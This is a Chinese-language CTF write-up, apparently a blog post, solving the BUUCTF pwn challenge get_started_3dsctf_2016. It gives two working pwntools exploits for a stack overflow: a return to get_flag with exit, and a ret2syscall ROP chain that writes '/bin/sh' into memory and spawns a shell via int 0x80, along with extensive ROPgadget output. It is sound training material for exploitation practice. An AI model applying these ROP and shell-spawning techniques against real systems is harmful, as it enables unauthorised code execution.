buuctf-pwn-get_started_3dsctf_2016

题目地址:https://buuoj.cn/challenges#get_started_3dsctf_2016

检查一下保护情况

拖进ida分析

主函数有个很明显的栈溢出漏洞

没有找到system函数,但是发现了这个函数

后面有两种解题思路

0x01 调用get_flag函数

这个函数读取了flag.txt,并输出内容,那么我们就想办法溢出到这里
这里使用cyclic测量溢出点,发现是溢出点是56
然后直接用if语句中的地址来作为返回地址,这样就不用控制参数了,get_flag_addr = 0x080489B8
在创建一个flag.txt用于本地测试

尝试溢出:payload=b'A'*56+p32(get_flag_addr)
这样发现本地可以读取flag,但远程不行
原因是当远程连接时如果没有正常退出,程序是不会给我们回显的,所以我们要让程序正常退出(不能报错)

找一找发现exit函数的地址 exit_addr = 0x0804E6A0
将它加到payload后面,当程序执行完get_flag函数后,就会执行exit函数,相当与将exit函数作为get_flag函数的返回值
不过这样就要构建正常的栈帧了,修改get_flag_addr = 0x080489A0 ,参数也要加上

最终的 payload = b'A'*56+p32(get_flag_addr)+p32(exit_addr)+p32(814536271)+p32(425138641)

exp
from pwn import *

p = remote("node5.buuoj.cn",26800)
#p = process("./get_started_3dsctf_2016")
#context(log_level="debug")

get_flag_addr = 0x080489a0
exit_addr=0x804e6a0

payload = b'A'*56+p32(get_flag_addr)+p32(exit_addr)+p32(814536271)+p32(425138641)

p.sendline(payload)
p.interactive()


成功读取flag

0x02 syscall

什么是系统调用

syscall(系统调用),就是通过调用系统函数来实现getshell的方式

在电脑中,系统调用(英语:system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。
系统调用提供用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。

操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间。

系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。

Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。

系统调用原理

当应用程序需要调用一个系统调用时,首先需要将要调用的系统调用号放置到 eax 寄存器中,然后通过使用 int 0x80 指令触发调用 0x80 号软中断服务。
系统调用号位为0xb时会执行exec(功能和system相同)
此时参数分别为ebx,ecx,edx
ebx应该指向"/bin/sh"的地址,ecx=0,edx=0

ret2syscall

我们需要控制寄存器的值,使用ROPgadget

找一下控制eax的指令

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep eax
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep eax
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
0x0804c56d : pop eax ; ret 0x80e
0x080d9ff8 : pop eax ; ret 0xfff7
0x080dfcd8 : pop eax ; ret 0xfff9
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

`0x080b91e6 : pop eax ; ret`这条可以用

找一下控制ebx的指令

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep ebx
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep ebx                                         
0x0809e102 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805bf3d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e4c4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0809a7dc : pop ebx ; pop edi ; ret
0x0806fc09 : pop ebx ; pop edx ; ret
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
0x080483b7 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a25b6 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096b1e : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x080718b1 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0804ab66 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049a95 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x080509a5 : pop ebx ; pop esi ; pop edi ; ret
0x080498af : pop ebx ; pop esi ; pop edi ; ret 4
0x08049923 : pop ebx ; pop esi ; ret
0x080481ad : pop ebx ; ret
0x080d413c : pop ebx ; ret 0x6f9
0x08099f96 : pop ebx ; ret 8
0x0806fc31 : pop ecx ; pop ebx ; ret
0x08063adb : pop edi ; pop esi ; pop ebx ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0807b1b0 : pop es ; pop ebx ; ret
0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret
0x0805d090 : pop esi ; pop ebx ; ret
0x0805b8a0 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809efe2 : pop ss ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

`0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret`这条可以用

在找一下int 0x80

ROPgadget --binary get_started_3dsctf_2016 --only "int"
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "int"
Gadgets information
============================================================
0x0806d7e5 : int 0x80

再找一下'/bin/sh'

ROPgadget --binary get_started_3dsctf_2016 --string "/bin/sh"
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --string "/bin/sh"                                            
Strings information
============================================================
没有,需要我们自己构造

先用vmmap找一下能写的段

vmmap
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     Start        End Perm     Size Offset File
 0x8048000  0x80ea000 r-xp    a2000      0 /root/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016/get_started_3dsctf_2016                                                                                                                  
 0x80ea000  0x80ec000 rw-p     2000  a1000 /root/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016/get_started_3dsctf_2016                                                                                                                  
 0x80ec000  0x80ed000 rw-p     1000      0 [heap]
 0x80ed000  0x810f000 rw-p    22000      0 [heap]
0xf7ff8000 0xf7ffc000 r--p     4000      0 [vvar]
0xf7ffc000 0xf7ffe000 r-xp     2000      0 [vdso]
0xfffdd000 0xffffe000 rw-p    21000      0 [stack]

那么这里我选择了0x80eb050这个地址,将/bin/shell写入这里 bin_sh = 0x80eb050,后面如果不行可以改动这里的内容

找一下mov指令

ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret" | grep eax
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret" | grep eax                                                     
0x080662d6 : mov al, byte ptr [ecx + 2] ; mov byte ptr [edx + 2], al ; mov eax, edx ; ret
0x080662f4 : mov al, byte ptr [ecx + 4] ; mov byte ptr [edx + 4], al ; mov eax, edx ; ret
0x0806818a : mov al, byte ptr [ecx + 8] ; mov byte ptr [edx + 8], al ; mov eax, edx ; ret
0x080662b0 : mov al, byte ptr [ecx] ; mov byte ptr [edx], al ; mov eax, edx ; ret
0x080662c0 : mov ax, word ptr [ecx] ; mov word ptr [edx], ax ; mov eax, edx ; ret
0x0805f9a9 : mov bh, 8 ; mov word ptr [edx], cx ; mov eax, dword ptr [esp + 4] ; ret
0x080b7ab3 : mov byte ptr [eax + 0x18d8], 4 ; ret
0x08079b3f : mov byte ptr [eax], 0 ; ret
0x080662d9 : mov byte ptr [edx + 2], al ; mov eax, edx ; ret
0x080662f7 : mov byte ptr [edx + 4], al ; mov eax, edx ; ret
0x0806633b : mov byte ptr [edx + 8], al ; mov eax, edx ; ret
0x0805d645 : mov byte ptr [edx - 1], al ; mov eax, dword ptr [esp + 4] ; ret
0x0805f2cc : mov byte ptr [edx - 1], cl ; mov eax, dword ptr [esp + 4] ; ret
0x08079b3c : mov byte ptr [edx], 0x2f ; mov byte ptr [eax], 0 ; ret
0x0805fa43 : mov byte ptr [edx], al ; mov eax, dword ptr [esp + 4] ; ret
0x080662b2 : mov byte ptr [edx], al ; mov eax, edx ; ret
0x0805f91b : mov byte ptr [edx], cl ; mov eax, dword ptr [esp + 4] ; ret
0x0805fa41 : mov dh, 0 ; mov byte ptr [edx], al ; mov eax, dword ptr [esp + 4] ; ret
0x0805f919 : mov dh, 8 ; mov byte ptr [edx], cl ; mov eax, dword ptr [esp + 4] ; ret
0x080a0a0c : mov dword ptr [0x68], eax ; ret
0x0809a661 : mov dword ptr [0x80eca08], eax ; ret
0x0804f859 : mov dword ptr [0x8900004c], eax ; ret 0xc483
0x08092839 : mov dword ptr [0x89fffdea], eax ; ret
0x0808644a : mov dword ptr [0xf6000016], eax ; ret 0xf40
0x0809742e : mov dword ptr [eax + 0x188], edx ; ret
0x0808c404 : mov dword ptr [eax + 0x20], ecx ; ret
0x080543cc : mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
0x080b9178 : mov dword ptr [eax + 0x4c], edx ; ret
0x08054d21 : mov dword ptr [eax + 0x5c], 0 ; ret
0x080543cf : mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
0x080543d2 : mov dword ptr [eax + 4], edx ; ret
0x0808c401 : mov dword ptr [eax + 8], edx ; mov dword ptr [eax + 0x20], ecx ; ret
0x0809a776 : mov dword ptr [eax], ecx ; mov eax, dword ptr [0x80eca04] ; mov dword ptr [edx], eax ; ret
0x0808c3ff : mov dword ptr [eax], edx ; mov dword ptr [eax + 8], edx ; mov dword ptr [eax + 0x20], ecx ; ret
0x080701a5 : mov dword ptr [ecx + 4], eax ; mov eax, ecx ; ret
0x080b915e : mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] ; ret
0x0804dc3c : mov dword ptr [edx + 0x14], ecx ; mov dword ptr [edx + 0xc], ebp ; mov dword ptr [edx + 0x18], eax ; ret
0x0804dc42 : mov dword ptr [edx + 0x18], eax ; ret
0x0804dc3f : mov dword ptr [edx + 0xc], ebp ; mov dword ptr [edx + 0x18], eax ; ret
0x08066317 : mov dword ptr [edx + 3], eax ; mov eax, edx ; ret
0x08066309 : mov dword ptr [edx + 4], eax ; mov eax, edx ; ret
0x0806637b : mov dword ptr [edx + 7], eax ; mov eax, edx ; ret
0x0806635d : mov dword ptr [edx + 8], eax ; mov eax, edx ; ret
0x0805d666 : mov dword ptr [edx - 2], eax ; mov eax, dword ptr [esp + 4] ; ret
0x0805f35d : mov dword ptr [edx - 2], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x0805d622 : mov dword ptr [edx - 4], eax ; mov eax, dword ptr [esp + 4] ; ret
0x0805f225 : mov dword ptr [edx - 4], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x080712e9 : mov dword ptr [edx], eax ; mov eax, 0xffffffff ; ret
0x080662c4 : mov dword ptr [edx], eax ; mov eax, edx ; ret
0x080557ab : mov dword ptr [edx], eax ; ret
0x0805f894 : mov dword ptr [edx], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x0809cc7b : mov dword ptr [esp], eax ; mov eax, dword ptr [esp + 4] ; ret 0x14
0x0809cc34 : mov dword ptr [esp], eax ; mov eax, dword ptr [esp + 4] ; ret 0xc
0x080a0a0b : mov dword ptr gs:[0x68], eax ; ret
0x080712e8 : mov dword ptr gs:[edx], eax ; mov eax, 0xffffffff ; ret
0x0807b26c : mov dword ptr gs:[edx], eax ; ret
0x0805bd4c : mov eax, 0x16 ; ret
0x080d151b : mov eax, 0x45155e93 ; ret 0x591c
0x080dfcf4 : mov eax, 0x48000091 ; ret
0x080d9ff4 : mov eax, 0x58000034 ; ret 0xfff7
0x08059d1e : mov eax, 0x80eb520 ; ret
0x0807dbf4 : mov eax, 0xe8fffffb ; ret
0x08054870 : mov eax, 0xffffffff ; ret
0x0808fda0 : mov eax, 1 ; ret
0x0808fdb0 : mov eax, 2 ; ret
0x0808fdc0 : mov eax, 3 ; ret
0x0808fdd0 : mov eax, 4 ; ret
0x0808fde0 : mov eax, 5 ; ret
0x0808fdf0 : mov eax, 6 ; ret
0x0808fe00 : mov eax, 7 ; ret
0x080718c0 : mov eax, 8 ; ret 0xc
0x08055a50 : mov eax, dword ptr [0x80eb080] ; ret
0x08078930 : mov eax, dword ptr [0x80ec5c0] ; ret
0x0809a778 : mov eax, dword ptr [0x80eca04] ; mov dword ptr [edx], eax ; ret
0x0809a729 : mov eax, dword ptr [0x80eca08] ; ret
0x080aa3e0 : mov eax, dword ptr [0x80ecc9c] ; ret
0x08071a40 : mov eax, dword ptr [0x80eccd4] ; ret
0x08071a50 : mov eax, dword ptr [0x80eccdc] ; ret
0x080aecc5 : mov eax, dword ptr [0x89fffffe] ; ret 0xfa29
0x0808d044 : mov eax, dword ptr [eax + 0x24] ; mov eax, dword ptr [eax + 0x28] ; ret
0x0808d047 : mov eax, dword ptr [eax + 0x28] ; ret
0x08055a74 : mov eax, dword ptr [eax + 0x34] ; ret
0x080b90d4 : mov eax, dword ptr [eax + 0x48] ; ret
0x080b9144 : mov eax, dword ptr [eax + 0x4c] ; ret
0x080b9184 : mov eax, dword ptr [eax + 0x50] ; ret
0x080b91f4 : mov eax, dword ptr [eax + 0x54] ; ret
0x080b91e4 : mov eax, dword ptr [eax + 0x58] ; ret
0x080b9194 : mov eax, dword ptr [eax + 0x5c] ; ret
0x0809d830 : mov eax, dword ptr [eax + 4] ; ret
0x0807b1ec : mov eax, dword ptr [eax + edx*4 + 0x40] ; ret
0x0807b1ea : mov eax, dword ptr [eax] ; mov eax, dword ptr [eax + edx*4 + 0x40] ; ret
0x08066314 : mov eax, dword ptr [ecx + 3] ; mov dword ptr [edx + 3], eax ; mov eax, edx ; ret
0x08068174 : mov eax, dword ptr [ecx + 4] ; mov dword ptr [edx + 4], eax ; mov eax, edx ; ret
0x08066305 : mov eax, dword ptr [ecx + 4] ; mov word ptr [edx + 4], ax ; mov eax, edx ; ret
0x080681ca : mov eax, dword ptr [ecx + 7] ; mov dword ptr [edx + 7], eax ; mov eax, edx ; ret
0x080681ea : mov eax, dword ptr [ecx + 8] ; mov dword ptr [edx + 8], eax ; mov eax, edx ; ret
0x080681ab : mov eax, dword ptr [ecx + 8] ; mov word ptr [edx + 8], ax ; mov eax, edx ; ret
0x080662e0 : mov eax, dword ptr [ecx] ; mov dword ptr [edx], eax ; mov eax, edx ; ret
0x080557a9 : mov eax, dword ptr [ecx] ; mov dword ptr [edx], eax ; ret
0x080662c1 : mov eax, dword ptr [ecx] ; mov word ptr [edx], ax ; mov eax, edx ; ret
0x080b9160 : mov eax, dword ptr [edx + 0x4c] ; ret
0x080b9174 : mov eax, dword ptr [esp + 4] ; mov dword ptr [eax + 0x4c], edx ; ret
0x08055a70 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x34] ; ret
0x080b90d0 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x48] ; ret
0x080b9140 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x4c] ; ret
0x080b9180 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x50] ; ret
0x080b91f0 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x54] ; ret
0x080b91e0 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x58] ; ret
0x080b9190 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x5c] ; ret
0x08055a80 : mov eax, dword ptr [esp + 4] ; ret
0x0809cc7e : mov eax, dword ptr [esp + 4] ; ret 0x14
0x0809cc37 : mov eax, dword ptr [esp + 4] ; ret 0xc
0x080b96d2 : mov eax, dword ptr [esp] ; ret
0x0807b1e9 : mov eax, dword ptr gs:[eax] ; mov eax, dword ptr [eax + edx*4 + 0x40] ; ret
0x080701a8 : mov eax, ecx ; ret
0x080662b4 : mov eax, edx ; ret
0x0805f892 : mov ecx, dword ptr [eax] ; mov dword ptr [edx], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x0805d35d : mov edi, eax ; mov esi, edx ; mov eax, dword ptr [esp + 4] ; ret
0x0805d35f : mov esi, edx ; mov eax, dword ptr [esp + 4] ; ret
0x0807a5ab : mov fs, word ptr [eax + 0x29fffffe] ; ret 0xc101
0x08066308 : mov word ptr [edx + 4], ax ; mov eax, edx ; ret
0x0806635c : mov word ptr [edx + 8], ax ; mov eax, edx ; ret
0x0805d665 : mov word ptr [edx - 2], ax ; mov eax, dword ptr [esp + 4] ; ret
0x0805f35c : mov word ptr [edx - 2], cx ; mov eax, dword ptr [esp + 4] ; ret
0x080662c3 : mov word ptr [edx], ax ; mov eax, edx ; ret
0x0805f9ab : mov word ptr [edx], cx ; mov eax, dword ptr [esp + 4] ; ret

`0x080557ab : mov dword ptr [edx], eax ; ret` 这条不错

先将bin_sh写入edx,再将'/bin'写入eax,利用mov将'/bin'写入bin_sh地址处
再将bin_sh+4写入edx,重复上一次步骤写入'/sh\x00'
这样就构造好'/bin/sh'了

要找的齐了,下面开始写exp

exp
from pwn import *

p = process("./get_started_3dsctf_2016")

pop_eax = 0x080b91e6
pop_edx_ecx_ebx = 0x0806fc30
int_0x80 = 0x0806d7e5
bin_sh = 0x80eb050
mov_edx_eax = 0x080557ab

payload = b'A'*56+p32(pop_eax)+b'/bin'+ p32(pop_edx_ecx_ebx)+p32(bin_sh)+p32(0)+p32(0)+p32(mov_edx_eax) # 写'/bin'
payload+= p32(pop_eax)+b'/sh\x00'+p32(pop_edx_ecx_ebx)+p32(bin_sh+4)+p32(0)+p32(0)+p32(mov_edx_eax) # 写'/sh\x00'
payload+= p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80) # 系统调用

p.sendline(payload)
p.interactive()

获取shell

posted @   zzkkk1h  阅读(96)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Ollama——大语言模型本地部署的极速利器
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示